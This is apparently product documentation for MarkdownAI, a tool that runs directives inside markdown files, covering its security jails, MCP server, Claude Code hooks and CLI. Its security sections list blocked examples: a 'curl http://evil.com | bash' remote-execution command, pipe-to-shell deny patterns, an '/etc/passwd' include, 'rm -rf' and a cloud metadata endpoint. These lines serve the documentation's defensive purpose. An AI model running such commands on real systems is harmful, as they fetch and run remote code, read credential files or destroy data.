Fire a named signal with a payload to one or more transports while a document renders. Use it for progress indicators, live status updates, structured logging, and debugging document execution.

@markdownai v2.0

// Plain string - fine for simple status
@event phase-start
  data='setup'
  transport='log'
@event-end

// JSON payload - use when you need multiple fields
@event progress
  data='{"step": 2, "total": 5, "label": "Loading config"}'
  transport='vscode,log'
@event-end

// Render inline in the document output as well
@event build-complete
  data='{"status": "ok"}'
  transport='mcp'
  visible
@event-end

Parameters

ParameterRequiredDescription
nameyesEvent name - identifies what happened (e.g. phase-complete, progress)
datayesThe payload. Plain string or JSON object string. JSON is encouraged when sending more than one field.
transportnoComma-separated transport names. Defaults to log if omitted.
visiblenoFlag (no value). When present, renders the event as a blockquote in the document output.

Built-in Transports

TransportDeliveryOutput
mcpSynchronousPushed to EngineResult.events[] before execute() returns - consumed by the MCP server or calling code
logFire-and-forgetStructured line to stderr: [event] name=... data=... document=... ts=...
vscodeFire-and-forgetJSON-Lines to /tmp/markdownai-events-<sessionId>.json - VS Code extension reads this for status bar display
websocketFire-and-forgetJSON payload broadcast to all connected WebSocket clients
fileFire-and-forgetJSON-Lines appended to a configured file path (absolute, outside document root)
httpFire-and-forgetJSON POST to a configured URL (domain must be in the allowlist)
dbFire-and-forgetInsert into a configured collection (security jailed)

All non-mcp transports are fire-and-forget via a worker thread. Network latency, file I/O, and database writes are invisible to rendering time. A document with many @event directives renders in the same time as one with none.

Security

All transports are blocked by default. Enable specific ones in .markdownai/security.json:

{
  "events": {
    "allowed_transports": ["mcp", "log", "vscode"],
    "allow_env_interpolation": false,
    "max_value_length": 500,
    "onError": "silence"
  }
}
OptionDefaultDescription
allowed_transports[]Transports that are permitted. Empty means all events are silently dropped.
allow_env_interpolationfalseWhen false, {{ env.VAR }} in data is dispatched literally. Enable only when needed.
max_value_length500Data is truncated to this length (hard cap, never configurable above 500).
onError"silence""silence" drops blocked events silently, "warn" adds to warnings, "fail" surfaces an error.

Masking runs unconditionally on data before any dispatch - regardless of the allow_env_interpolation setting. A secret embedded in a JSON value is caught and replaced with ***MASKED***, and a SECURITY_ALERT is added to document warnings. This cannot be bypassed.

Automatic Debug Metadata

Every event carries an automatic meta object requiring no author configuration:

interface EventMeta {
  datetime: string          // ISO 8601 timestamp
  line: number              // line number of @event in the source .md file
  runId: string             // UUID for this execute() call - shared by all events in one run
  sessionId: string | null  // MCP session ID, or null
  model: string | null      // AI model name (injected by the calling layer)
  tokenUsage: number | null // token count at dispatch time (injected by the calling layer)
  git: { hash: string; short: string } | null  // git commit at execute() start, null if not in a repo
  callstack: string[]       // active @phase and @call context, e.g. ["phase:setup", "call:myMacro"]
}

The callstack field tracks which @phase blocks and @call macro invocations the event fired from, outermost to innermost. The git hash is resolved once at execute() start and cached. model and tokenUsage are set by the calling layer (for example, the MCP server) - the engine itself does not have access to AI runtime state.

Consuming Events

For the mcp transport, events are available in EngineResult.events:

const result = execute(ast, { ctx: { security: { eventConfig: { allowed_transports: ['mcp'], ... } } } })

for (const event of result.events) {
  console.log(event.name, event.data, event.meta.datetime)
}

Rules

  • All transports are blocked by default. Add them to allowed_transports to enable.
  • Masking is unconditional - it runs on every event regardless of other settings.
  • {{ expression }} in data is only evaluated when allow_env_interpolation: true.
  • Data is hard-capped at 500 characters and cannot be configured above that.
  • Multiple transports in a single @event fire simultaneously - one EngineEvent per transport.
  • The mcp transport is the only synchronous one. All others are fire-and-forget.

Standard Library

The standard library ships 32 built-in macros for common tasks. They auto-load when the engine starts - no setup required. Call any of them in any document marked @markdownai.

@markdownai v2.0

@call git-branch /
@call project-manager /
@call code-any-types /

Working on: {{ current_branch }}
Package manager: {{ pkg_manager }}
TypeScript `any` count: {{ any_count }}

@call git-modified /

@if {{ modified_files != "" }}
  > Warning: you have uncommitted changes.
@if-end

Macro Groups

Git (9 macros)

branch, status, log, diff stats, staged files, modified files, untracked files, commits ahead, last commit message

Filesystem (7 macros)

directory listing, file search by pattern, large files, recently changed files, tree view, file count by extension, directory size

Project Detection (5 macros)

package manager, primary language, project name, version, test command

Code Analysis (5 macros)

TODO comments, console.log calls, TypeScript any types, test file locations, arbitrary grep

Environment (6 macros)

Node version, OS, port availability, command existence, CI detection, git author

Parameterized Macros

@call fs-find pattern="*.ts" /        # find TypeScript files
@call env-port port=3000 /             # check if port 3000 is available
@call fs-count ext="ts" /              # count files by extension
@call code-grep pattern="TODO" /       # grep for pattern

If you define a macro with the same name as a stdlib macro, your definition wins.

Security Overview

MarkdownAI uses a "jail-first" security model: all dynamic operations - database queries, HTTP requests, shell commands - are blocked by default unless you explicitly allow them. This protects you from running untrusted or malicious documents on your system.

Security Config File

Your personal security rules live at ~/.markdownai/security.json. Create one with:

mai security init
mai security show   # display active policy

Runtime Modes

FlagModeBehavior
(none)SilentBlocked directives stripped quietly; events logged to file only
--verboseVerboseSecurity events also printed to the terminal
--strictStrictAny stripped directive is an error; halts immediately

Log Files

FilePurpose
~/.markdownai/security.jsonYour personal rules - allowlists, deny patterns, preferences
~/.markdownai/audit.logPermanent log of every security event. Cannot be disabled by any document or config.
~/.markdownai/runtime.logAll warnings from every run, stored as structured JSON

Filesystem Confinement

Two independent security layers protect you when documents include or import other files. Both are always active - no setup required, no way to turn them off.

Confinement

All file access is restricted to the document's own directory. Paths navigating above that boundary, absolute paths, and ../ sequences are always blocked.

Content Masking

File content is scanned for credentials, tokens, and connection strings before reaching rendered output. Matches are replaced with [MASKED]. Masking runs before caching - secrets never reach the cache in plain text.

# Include within document root - allowed
@include ./data/report.csv

# Include from a parent directory - requires explicit flag on every invocation
mai render report.md --allow-traversal ../shared-data/

# Absolute path - always rejected, SECURITY_ALERT
@include /etc/passwd

Configuration Options

OptionWhat It Controls
--allow-traversal <path>Permits access to one specific directory outside document root. Must be provided on every invocation.
allow_unmasked_pathsGlob patterns for files that skip content masking (in security config)
allow_unmasked_patternsVariable name patterns whose values are restored after masking (e.g. NODE_ENV=*)

Source vs Data vs Write Roots

The path jail splits into three boundaries. Each directive type uses its own boundary so that a skill file installed at ~/.claude/commands/mdd.md can read its sibling templates (source ops) while still reaching into the user's project (data ops).

JailUsed byDefault
source_root@import, @include"auto" - directory of the entry document
data_root@list, @read, @tree, @count, @date file=, @read-frontmatter, @hash, file.exists / isFile / isDir / containsLine / containsSection / frontmatterField, @copy from=, @check / @test working dir"cwd" - process working directory
write_root@mkdir, @copy to=, @append-if-missing, @update-frontmatter, @render-template to="cwd"

Each jail can be set to "auto" (document dir), "cwd" (process working dir), or an absolute path. Each has a companion allowlist (allowed_source_paths, allowed_data_paths, allowed_write_paths) of glob patterns that loosen the boundary. Patterns support ${VAR} expansion against HOME, CLAUDE_SKILL_DIR, CLAUDE_SESSION_ID, and process env vars. Unset variables expand to the empty string (fail-closed).

{
  "filesystem": {
    "source_root": "auto",
    "data_root": "cwd",
    "allowed_source_paths": [
      "${CLAUDE_SKILL_DIR}/templates/**"
    ],
    "allowed_data_paths": [
      "${HOME}/.mdd/**"
    ],

    "write_enabled": false,
    "write_root": "cwd",
    "allowed_write_paths": [
      "${HOME}/.mai-out/**"
    ]
  }
}

Write Gate

Write directives (@mkdir, @copy, @append-if-missing, @update-frontmatter, @render-template) are gated behind filesystem.write_enabled. The default is false - rendering a document that uses write directives without the gate enabled produces a clear error and skips the write. Turn the gate on explicitly only when you trust the document and want it to mutate the filesystem.

The "cwd" default for data_root makes @list ./src and similar paths resolve against the project root regardless of where the document lives. To switch to a document-rooted jail, set filesystem.data_root = "auto" in your security config.

Shell Execution Jail

Controls exactly which shell commands your documents can run via @query. Allowlist-first: every command is blocked by default unless you explicitly permit it.

# Enable shell execution (disabled by default)
mai security shell enable

# Add allowed command patterns
mai security shell add "git log *"
mai security shell add "npm audit *"
mai security shell add "find * -name *.ts"

# Test whether a command would be allowed
mai security shell test "git log --oneline -5"
# ALLOWED: matches allow_pattern "git log *"

mai security shell test "rm -rf /tmp/cache"
# BLOCKED: matches deny_pattern "rm *"

# List current rules
mai security shell list

Configuration

OptionDefaultDescription
shell.enabledfalseMaster switch - all @query directives are stripped when false
shell.allow_patterns[]Glob patterns for commands permitted to run
shell.deny_patterns[]Glob patterns always blocked (deny wins over allow)
shell.allow_networkfalseWhether shell commands may make network calls
shell.require_confirmationfalsePrompt the user before each command runs
shell.audit_logtrueRecord all execution attempts

Database Query Jail

Controls which database operations your documents can run. Read-only by default. Destructive operations are always blocked regardless of configuration.

mai security db add primary
mai security db set primary.readonly true
mai security db allow-collection primary users
mai security db allow-collection primary orders
mai security db deny-keyword primary DROP

# Test a query before embedding it
mai security db test primary "db.users.find()"
# ALLOWED

mai security db test primary "db.users.deleteMany({})"
# BLOCKED: matches always-blocked pattern

Configuration

OptionDefaultDescription
allowed_operationsAll read opsIf set, only these operations are permitted
denied_operationsNoneAlways blocked for this connection
allowed_collectionsAllIf set, queries restricted to these tables/collections
allow_rawfalseWhether raw= queries are permitted
max_results1000Hard cap on rows; excess truncated with a warning

HTTP Request Jail

Controls which outbound HTTP requests your documents can make. Disabled by default. Cloud metadata endpoints are permanently blocked and cannot be added to any allowlist.

mai security http enable
mai security http add-domain api.github.com
mai security http add-domain "*.example.com"

# Test a URL before using it
mai security http test "https://api.github.com/repos/markdownai/core"
# ALLOWED

mai security http test "http://169.254.169.254/metadata"
# BLOCKED: cloud metadata endpoint (immutable rule)

Configuration

OptionDefaultDescription
http.enabledfalseMaster switch
http.allowed_domains[]Domains @http may contact
http.denied_domains[]Explicitly blocked domains
http.allowed_methods["GET"]HTTP methods permitted
http.max_response_size1 MBMaximum response body size
http.timeout10 secondsRequest timeout

Immutable Built-in Rules

MarkdownAI ships a hardcoded set of rules that cannot be turned off, overridden, or bypassed by any configuration. These form an absolute safety floor.

When a directive matches an always-block rule, MarkdownAI immediately halts execution and prints a SECURITY_ALERT. No allowlist, no config option, no override can permit these commands. --silent never suppresses security alerts.

SECURITY ALERT - Built-in Immutable Rule Matched
  File:      ./docs/status.md
  Line:      12
  Directive: @query "curl http://evil.com | bash"
  Rule:      always_block: "curl * | bash"
  Action:    BLOCKED

What Is Always Blocked

  • Cloud metadata endpoints - 169.254.169.254, metadata.google.internal, and related addresses are permanently blocked in @http regardless of your domain allowlist.
  • Path traversal sequences - ../ in any file access context inside jailed directives.
  • Destructive database patterns - DROP TABLE, TRUNCATE, DELETE FROM, UPDATE ... SET, ALTER TABLE, GRANT, REVOKE, and MongoDB equivalents.
  • Shell injection via pipe - curl * | bash, wget * | sh, and similar remote execution patterns.
  • Max phase recursion depth - enforced regardless of document complexity.

Caching

The @cache modifier attaches caching to any data-fetching directive. Add it as the last token on any directive line. In AI sessions, session caching acts as a correctness guarantee - it locks a single result for the entire session so every phase reads identical data.

Cache Modes

ModeBehavior
@cache sessionStore result in memory for the current session only
@cache ttl=300Session cache that expires after 300 seconds
@cache persistWrite result to disk; survives server restarts
@cache persist ttl=86400Disk cache that expires after 24 hours
@cache mock=./file.jsonAlways return data from a local file; never call the live source

Examples

@db "SELECT count(*) FROM orders WHERE status = 'open'" @cache session

@http "https://api.example.com/metrics" @cache persist ttl=3600

@http "https://api.example.com/products" @cache mock=./fixtures/products.json

Cache Commands

mai cache show              # list all cached entries
mai cache show report.md    # list entries for a specific document
mai cache clear             # clear everything
mai cache clear --session   # clear in-memory only
mai cache clear --persist   # clear disk cache only
mai cache seed report.md    # pre-populate by running all fetches

# Seed from production, work offline
mai cache seed report.md --env .env.production
mai watch report.md

Mock mode is particularly useful for testing. Seed a fixture from production once: mai cache seed report.md --env .env.production --directive db. Then develop against predictable data without a live database connection.

mai strip

mai strip removes all MarkdownAI directives from a document and produces clean, standard Markdown safe to commit, share, or open in any regular viewer. Conditional sections are resolved against your environment - the right branch is kept, the rest discarded.

# Strip and preview
mai strip README.md

# Strip to a file
mai strip README.md -o dist/README.md

# Strip with environment for correct conditional resolution
mai strip docs/guide.md --env .env.production -o dist/guide.md

# Strip an entire directory
mai strip ./docs/ --env .env.production -o ./dist/

The strip command never executes any directives - it only removes or resolves syntax. @note blocks are always removed regardless of the visible flag. @prompt and @constraint blocks are also stripped.

MCP Server

mai serve starts a Model Context Protocol server. When an AI assistant connects, it serves documents intelligently - executing directives, resolving phases lazily, and exposing the document's structure as callable tools.

mai serve
mai serve --cwd ~/projects/my-docs
mai serve --port 3000

11 MCP Tools

ToolDescription
read_fileRead and execute a MarkdownAI document. Returns rendered live output. Accepts an optional token budget.
list_phasesList all @phase blocks in a document with their transitions.
resolve_phaseRender the content of a specific named phase. Persists @set values into the session state.
next_phaseReturn the phase that follows the current one.
call_macroExecute a named @define macro, optionally passing parameters.
get_envRetrieve a resolved environment variable by name.
get_constraintsReturn all @constraint blocks sorted by severity.
execute_directiveRun a single MarkdownAI directive and return its output.
invalidate_cacheClear cached rendered output for a file or all files.
available_directivesReturn the full directive catalog with name, form (self-closing / block), and close-tag info. Pass include_plugin_directives=false to exclude plugin-file-only directives.
get_session_stateReturn @set values stashed during prior resolve_phase calls in the same skill_session_id. New in v2.

Lazy Phase Loading

The MCP server loads only the active phase into AI context at any given time. A 20-phase document never floods the AI with everything at once. The AI works through each phase in sequence, calling next_phase when ready to advance.

// Walk a workflow from start to finish
list_phases({ file: "pipeline.md" })
resolve_phase({ file: "pipeline.md", phase: "implementation" })
next_phase({ file: "pipeline.md", phase: "implementation" })
// "review"
resolve_phase({ file: "pipeline.md", phase: "review" })

PreToolUse Hook

mai init installs a PreToolUse hook into Claude Code or Cursor. After installation, every .md file an AI tries to read directly is checked. If the file is a MarkdownAI document, the hook blocks the raw read and returns an explanation that tells the AI to fetch the file through the MarkdownAI MCP server instead. The MCP server runs every directive and returns the rendered output - so the AI sees live state, never directive syntax.

Detection covers two forms: a bare @markdownai header on the first non-blank line, and YAML frontmatter (a --- block) followed by @markdownai. The latter is what Claude Code slash-command files look like, so MDD's mdd.md and similar files are correctly intercepted.

# Auto-detect your AI client and install
mai init

# Explicit targets
mai init --client claude-code
mai init --client cursor

What Happens During a File Read

  1. The AI calls its Read tool against a .md file path.
  2. The hook fires, opens the file, and runs the MarkdownAI-document check.
  3. If the file is plain markdown, the hook exits 0 and the read proceeds untouched.
  4. If the file is a MarkdownAI document, the hook exits 2 with a redirect message on stderr. Claude Code surfaces the message to the AI and skips the read.
  5. The redirect message catalogues every MarkdownAI MCP tool (list_phases, resolve_phase, next_phase, read_file, execute_directive, call_macro, get_constraints, get_env, invalidate_cache, available_directives, get_session_state) with arg shapes, return shapes, and "use this when" guidance plus a five-step workflow. The AI has no ambiguity about how to proceed.

The hook is installed as a node script under ~/.markdownai/hooks/preToolUse.mjs and registered in ~/.claude/settings.json under hooks.PreToolUse with matcher Read. Registration is idempotent - re-running mai init doesn't duplicate entries.

SessionStart Hook and CLAUDE-MarkdownAI.md

Alongside the PreToolUse hook, mai init installs a SessionStart hook that runs each time Claude Code begins a session (or resumes / clears / compacts one). If your project has a file named CLAUDE-MarkdownAI.md at the project root, the hook renders it via mai render and injects the rendered output into the AI's session context. Your regular CLAUDE.md is never touched.

The pattern: keep CLAUDE.md as the static, user-owned project rules. Put live data (today's date, current branch, open features, last test result, etc.) into CLAUDE-MarkdownAI.md using flat MarkdownAI directives. Each new session starts with a fresh render of that file in context.

# CLAUDE-MarkdownAI.md
@markdownai v2.0

@date format="YYYY-MM-DD" label=today /
@count ./.mdd/docs/ match="*.md" label=doc_count /

## Session brief

Today is {{ today }}. The project has {{ doc_count }} feature docs.

@foreach doc in {{ @list ./.mdd/docs/ match="*.md" }}
  @read-frontmatter path="{{ doc }}" field="status" label=status /
  - {{ doc }} ({{ status }})
@foreach-end

How the Injection Works

The hook emits a JSON envelope on stdout:

{
  "hookSpecificOutput": {
    "hookEventName": "SessionStart",
    "additionalContext": "<rendered markdown>"
  }
}

Claude Code reads additionalContext and adds it to the session at start. The AI sees it with the same authority as CLAUDE.md - persistent for the session, system-level weight.

Directive Guidance for CLAUDE-MarkdownAI.md

The render happens once at session start. Use flat, fast directives:

  • Recommended: @date, @count, @list, @read, @read-frontmatter, @hash, @tree, @if / @elseif / @else, @foreach, @set, @env, @call, @import, @include.
  • Avoid: @phase / @on-complete - phase semantics are MCP-driven; in one-shot render mode every phase fires at once, defeating the lazy-load purpose.
  • Use with care: @http, @test, @check, @query, @db. They run on every session start and delay the session by however long they take.

The Hook is Silent When There's Nothing to Do

  • No CLAUDE-MarkdownAI.md in the project root: silent exit 0, nothing injected.
  • mai not on PATH: warning to stderr (Claude doesn't see it), exit 0.
  • mai render fails: warning to stderr with the render error, exit 0. Session starts without the extra context.

The hook never blocks session start. If CLAUDE-MarkdownAI.md changes on disk and you want the new render before the next prompt, run /clear in Claude Code - SessionStart fires with source: clear and re-renders.

The hook never writes to disk. The rendered output lives only in conversation context for that session. Your CLAUDE.md is yours; CLAUDE-MarkdownAI.md is your live-data source. Both files are committed to the repo as you wrote them.

AI-Native Features

MarkdownAI has a set of features designed specifically for AI consumers. They let you embed instructions, rules, and glossary terms directly inside documents - so a single file speaks differently to machines and people without you maintaining two versions.

@consumer - Audience-Targeted Rendering

@if {{ consumer == "ai" }}
  **Status:** operational | uptime: 99.97% | last_incident: none
@if-end

@if {{ consumer == "human" }}
  ## Service Status

  Everything is running smoothly. No incidents in the past 30 days.
@if-end
mai render status.md --consumer=ai
mai render status.md --consumer=human

@prompt - Embedded AI Instructions

Carries instructions for AI readers. Invisible to humans (or shown as a callout with the visible flag):

@prompt context
>
  All API endpoints in this document require an Authorization header
  unless explicitly marked as public.
@prompt-end

@prompt constraint
>
  Treat all code samples as pseudocode unless the block is marked "production."
@prompt-end

Valid roles: context, constraint, calibration, instruction

@constraint - Machine-Readable Rules

Rules written as @constraint blocks are surfaced in a structured table when an AI reads the document. They cannot be missed the way prose rules can:

@constraint[critical] NEVER pass user input directly to a database query. Always use parameterized queries. /

@constraint[critical] eval() is never used. Use vm.runInNewContext() for expression evaluation. /

@constraint is a self-closing directive in v2. The severity bracket attribute is required; the text is the positional body.

AI tools reading the document via MCP see:

## Constraints

| ID           | Severity | Rule                                         |
|--------------|----------|----------------------------------------------|
| no-raw-sql   | CRITICAL | NEVER pass user input directly to a database... |
| eval-forbidden | CRITICAL | eval() is never used...                    |

@note - Source Comments

Invisible in rendered output by default. Visible in the raw source file:

@note
>
  This @db directive pulls from the staging replica.
  Switch the alias to "prod" before the next release.
@note-end

@note visible
>
  This section updates nightly. Refresh before sharing.
@note-end

@define-concept - Inline Glossary

Registers domain-specific terms. AI readers receive a full glossary at the top of the document:

@define-concept jailRoot "the document root directory used to confine file access" /
@define-concept directive "a line starting with @ that MarkdownAI processes at render time" /

Token-Efficient Format Mode

--format=ai strips decorative elements and compresses output for AI readers. The MCP server uses this by default. On typical documents this achieves a 15-40% reduction in token count.

mai render docs/api-reference.md --format=ai
mai render docs/changelog.md --format=ai --tables=kv

Passthrough Mode

By default, mai render errors when a file does not start with @markdownai. Pass --passthrough to let plain markdown files pass through the engine unchanged instead. This is useful when looping over a directory that contains a mix of MarkdownAI documents and regular markdown files:

for f in docs/*.md; do mai render "$f" --passthrough -o "out/$(basename $f)"; done

The MCP server accepts the same flag. When started with mai serve --passthrough, plain files are processed through the engine (rather than returned as raw source), which enables @event logging and directive tracing for all files - not just MarkdownAI documents.

Skill Context Variables

When a MarkdownAI document is used as a Claude Code skill file, the full slash command invocation context is available as first-class variables in @if conditions and {{ }} interpolations. This enables real engine-evaluated dispatch - the document routes itself based on arguments.

Available Variables

VariableDescription
ARGUMENTS / argsFull raw argument string from $ARGUMENTS
argsListPositional args, shell-style parsed (quoted strings kept together)
arg0 - arg3Shorthand for argsList[0] through argsList[3]
CLAUDE_EFFORTEffort level: low, medium, high, xhigh, or max
CLAUDE_SESSION_IDUnique ID for the current Claude Code session
CLAUDE_SKILL_DIRDirectory containing the skill file
Named arg keysSpread into root scope from skill frontmatter arguments: list

Argument-Based Dispatch

@markdownai v2.0

@if {{ ARGUMENTS.startsWith("audit") }}
  @include ./audit-mode.md /
@elseif {{ ARGUMENTS.startsWith("build") }}
  @include ./build-mode.md /
@elseif {{ ARGUMENTS.startsWith("status") }}
  @include ./status-mode.md /
@if-end

Use allowed() to validate and default an argument before routing. It returns the value when it is on the list and false otherwise, so the || fallback fires automatically:

@switch {{ allowed(argsList[0], ["audit","build","op"]) || "build" }}
  @case "build"
    @include ./build-mode.md /
  @case "audit"
    @include ./audit-mode.md /
  @case "op"
    @include ./op-mode.md /
@switch-end

Effort-Based Conditionals

@if {{ CLAUDE_EFFORT == "max" }}
  @include ./extended-analysis.md /
@elseif {{ CLAUDE_EFFORT == "high" }}
  @include ./standard-analysis.md /
@else
  @include ./quick-analysis.md /
@if-end

Named Arguments from Frontmatter

---
arguments:
  - issue
  - branch
---
@markdownai v2.0

@if {{ issue != "" }}
  Working on issue: {{ issue }}
@if-end

@if {{ branch != "" }}
  Target branch: {{ branch }}
@if-end

Shell Inline Interception

Claude Code skill files support a native shell injection syntax: !`command`. It runs commands before Claude sees the file with no security gates. When a document has a @markdownai header, MarkdownAI takes ownership of all shell execution - including !`command` patterns.

Authors can write either syntax and get the same security behavior. This means a @markdownai document cannot be used as a vector for ungated shell execution even if the author uses Claude Code's own syntax.

@markdownai v2.0

Current branch: !`git branch --show-current`
Files changed: !`git diff --stat | wc -l`

With allowShell: true and matching allow patterns, the commands execute. With allowShell: false (default), they produce empty output.

Opting Out

To let Claude Code handle !`command` natively without security gating:

@markdownai shell-inline="passthrough"

The opt-out is named passthrough rather than disable - the author is explicitly handing control back to Claude Code, which has no security layer.

Security Comparison

Control@query!`cmd` via MarkdownAI!`cmd` via Claude Code
Disabled by defaultYesYes (same allowShell)No
Command allowlistYesYesNo
Deny patternsYesYesNo
Filesystem jailYesYesNo
Immutable block rulesYesYesNo
Audit logYesYesNo
Named output (label=)YesNoNo
Works outside Claude CodeYesYesNo

MDD Integration

MDD and MarkdownAI were built for each other. MDD enforces "document first" development - every feature is written down before any code is written. MarkdownAI makes those documents execute. The integration closes the loop: MDD's own artifacts stop being static files that drift, and start being live documents that reflect the actual state of the project every time they render.

Live Session Context

.mdd/.startup.md with a @markdownai header can query its own data on render - current branch, feature counts by status, last audit summary, recent commits. Claude always enters the session with accurate project state, not whatever .startup.md said last week.

@markdownai v2.0

@call git-branch /
@call git-status /

Current branch: {{ current_branch }}

@query "find .mdd/docs -name '*.md' | wc -l" label=feature_count /
Total features: {{ feature_count }}

Token Economics

The current MDD system loads roughly 10,000 tokens per session. About a third of that is narrative prose - explanations of why rules exist, written for human readers. Claude needs the what and when, not the why.

OptimizationToken Savings
@define macros (branch guard, connections, startup)~840 tokens
@if conditional sections~400-780 tokens
Live .startup.md~750 tokens
@consumer=ai narrative stripping~1,416 tokens
@phase lazy loading via MCP~3,000-5,000 tokens

Conservative optimization (macros + conditionals + live startup): roughly a 19-23% reduction. With narrative stripping: about 35%. Full optimization with MCP phase loading: up to 80%.

Accuracy Improvements

Token savings matter, but the accuracy case is more important. A .startup.md rendered from live queries cannot be stale. A connections.md built by mai render cannot reference a doc that doesn't exist. Rules written as @constraint blocks are consistently enforced - rules buried in prose get missed.

The quick wins require no new features - just add @markdownai to .mdd/.startup.md and configure the pre-session hook to run mai render before Claude is invoked.

VS Code Extension

Install the MarkdownAI extension from the VS Code Marketplace. It activates automatically on any .md file that starts with @markdownai on line 1.

# Via Extensions panel: search "MarkdownAI", click Install
# Or via CLI:
code --install-extension markdownai.markdownai

Language Detection

Any .md with @markdownai on line 1 gets the markdownai language type. Works on files already open when VS Code starts.

Syntax Highlighting

All directives highlighted: @env, @if, @define, @phase, @db, @http, @query, @render, @constraint, @prompt, @cache, and {{ }} interpolations.

Snippets

15+ tab-triggered snippets: @def → define/end block, @if → full conditional, @phase → phase skeleton, {{ → interpolation.

Completions

Type @ to see all valid directives. Type @call to see all available macros (stdlib + local + imported) with their output variables.

Hover

Hovering @call name or @define name shows an inline tooltip: macro source, output variable, and description.

Go-to-Definition

F12 or Ctrl+click on @call name jumps to the @define block - even across files via @import.

Find All References

Shift+F12 on @call or @define lists every call site in the current document.

Diagnostics

Red underlines for unclosed blocks (@if without @if-end). Yellow underlines for @call to undefined macros. Hover any underline to read the message.

Live Preview

Click the preview icon in the editor title bar. Shows rendered output; refreshes on save. Requires mai CLI installed.

Available Snippets

PrefixExpands To
mai@markdownai header
@defineFull @define name ... @define-end block
@ifFull @if ... @if-end block
@ifelseFull @if ... @else ... @if-end block
@phasePhase skeleton with @on-complete
@prompt@prompt ... @prompt-end block
@constraint@constraint[severity] text /
@query@query "command" label=result /
@http@http ... @http-end
{{{{ variable }}

Extension Settings

SettingDefaultDescription
markdownai.diagnostics.enabledtrueSet to false to turn off all diagnostics
markdownai.diagnostics.warnUndefinedMacrostrueSet to false to skip macro reference checks
markdownai.stdlibPathengine stdlib pathPath to stdlib macro definitions, relative to workspace root

Complete CLI Reference

All mai commands. Universal flags (--env, --cwd, --verbose, --strict, --silent) work on every command.

CommandDescriptionKey Flags
mai render <file>Execute a document and print rendered markdown to stdout-o <path>, --phase <name>, --consumer <ai|human>, --format=ai, --budget=N, --passthrough, --skill-args "...", --skill-dir <path>, --skill-effort <low|medium|high>, --skill-session-id <id>
mai build <file>Render and write to disk-o <path> (required), --watch
mai watch <file>Watch for changes and re-render automatically--output <path>
mai strip <file>Remove all directives, produce plain markdown-o <path>, --env <file>
mai validate <file>Check document for errors and warnings without rendering--strict
mai parse <file>Parse document and output AST as JSON--node <type>, --pretty
mai eval "<expression>"Evaluate a single expression against the environment--env <file>
mai initInstall PreToolUse and SessionStart hooks into the AI client. Idempotent.--client <claude-code|cursor>, --global-claude-md
mai serveStart MCP server--cwd <path>, --port <N>, --passthrough
mai cache show [file]List cached entries--expired, --persist, --session
mai cache clear [file]Clear cached data--session, --persist, --directive <type>
mai cache seed <file>Pre-populate cache by running all fetches--env <file>, --directive <type>
mai security initCreate or import a security policy--from .markdownai.json
mai security showDisplay active security policy-
mai security shell <sub>Manage shell jail (enable, disable, add, remove, list, test)-
mai security db <sub>Manage database jail (add, set, allow-collection, deny-keyword, test)-
mai security http <sub>Manage HTTP jail (enable, disable, add-domain, remove-domain, test)-
mai security filesystem <sub>Manage filesystem rules (show, add-block-path, test, test-mask)-
mai security audit <sub>View and manage audit log (show, show --blocked, clear)-
mai list-phases <file>List all phases in a document with their transitions-
mai list-macros <file>List all macros with their source file-
mai list-imports <file>Show the full dependency tree for a document-

Complete Directive Reference

Header

DirectiveDescription
@markdownaiEnable MarkdownAI for this file. Must be line 1 (or first line after frontmatter).
@markdownai v2.0Enable with version pin.
@markdownai shell-inline="passthrough"Pass Claude Code's !`cmd` syntax through without security gating.

Environment

DirectiveDescription
@env VAR /Output variable value as a paragraph.
@env VAR fallback="value" /With default when unset.
@env VAR required /Fail validation if unset.
@env VAR required masked /Required and never appears in output.

Macros

DirectiveDescription
@define name ... @define-endDefine a named content block.
@define name with local=true attribute ... @define-endLocal-scoped macro, not shared with parent documents.
@call name /Insert macro content.
@call name param=value /Insert with named parameters.

File Resolution

DirectiveDescription
@include ./path.md /Include file content inline.
@include ./file.ts lines=N-M /Include specific line range.
@import ./path.md /Import definitions only (macros, connections, env fallbacks) - no content rendered.
@include ./file @cache session /Include with session caching.

Conditionals

DirectiveDescription
@if {{ expression }}Start conditional block.
@elseif {{ expression }}Additional branch.
@elseFallback branch.
@if-endClose conditional block.
@switch {{ expression }} ... @switch-endMulti-branch conditional.
@case "value"Branch inside a switch.
@defaultFallback branch inside a switch.

Iteration and Variables

DirectiveDescription
@foreach var in {{ source }} ... @foreach-endRender the body once per item. Source can be a directive expression, a list-typed frontmatter field, a label, or a comma-separated literal.
@set var = "literal" /Bind a variable to a literal value (string, number, boolean).
@set var = {{ expr }} /Bind a variable to an interpolated expression or sandbox builtin result.

Templates and Composition

DirectiveDescription
@template ./partial.md data=expr /Inline a partial MarkdownAI document and bind the expression to {{ data.* }} inside it. Every directive that works in a top-level document works inside the partial.
@template ./partial.md data=row as=user /Same, but the bound value is exposed under the chosen name ({{ user.* }}) instead of data.
@data name ... @data-endCompose a single object from in-scope values. Body lines are <key> = <expression> assignments or ...<expression> spreads. Dot-notation builds nested objects; later entries override earlier ones.

Data Sources

DirectiveDescription
@list ./path/ /List files, directories, or structured data.
@read ./file.json path="key" /Read a value from a structured file.
@read-frontmatter path="doc.md" field="status" /Read a single YAML field from a document's frontmatter.
@hash path="doc.md" algo=sha256 length=8 /Compute a content hash. Supports any Node crypto algorithm and a regex-based line exclude.
@tree ./path/ depth=N /Render ASCII directory tree.
@date format="YYYY-MM-DD" /Current date/time or file modification date.
@count ./path/ match="*.ts" /Count files matching a pattern.
@connect name type="mongodb" uri=env.VAR /Register a named database connection.
@db ... @db-endQuery a database (jailed). Synchronous Mongo worker in v2. Use as=row label=feature for dot-access on results.
@http ... @http-endFetch from an HTTP endpoint (jailed).
@query "command" /Run a shell command (jailed).

Execution

DirectiveDescription
@test command="pnpm test" label=results /Run the project test suite. Inlines full combined output. Exposes label (full text), label_exit (exit code), label_summary (recognized one-liner).
@check command="tsc --noEmit" label=tc /Run typecheck / lint / build. Auto-detects via scripts.typecheck, check, lint, build when command= is omitted.

Filesystem Writes

All write directives respect filesystem.write_enabled, write_root, allowed_write_paths, and immutable always-block rules.

DirectiveDescription
@touch path="src/foo.ts" /Idempotent empty-file creation. Safe to re-run.
@mkdir .mdd/docs /Create a directory. Recursive by default.
@copy from="tpl.md" to="doc.md" if-missing /Copy a file. if-missing makes it idempotent.
@append-if-missing path=".gitignore" text="dist/" /Append a line only if not already present.
@update-frontmatter ... @update-frontmatter-endSet a YAML field. Supports field[append], field[N], and nested field[N].sub addressing.
@render-template ... @render-template-endRender a template with injected parameters and write the result. Idempotent by default; force overwrites.

Pipeline

DirectiveDescription
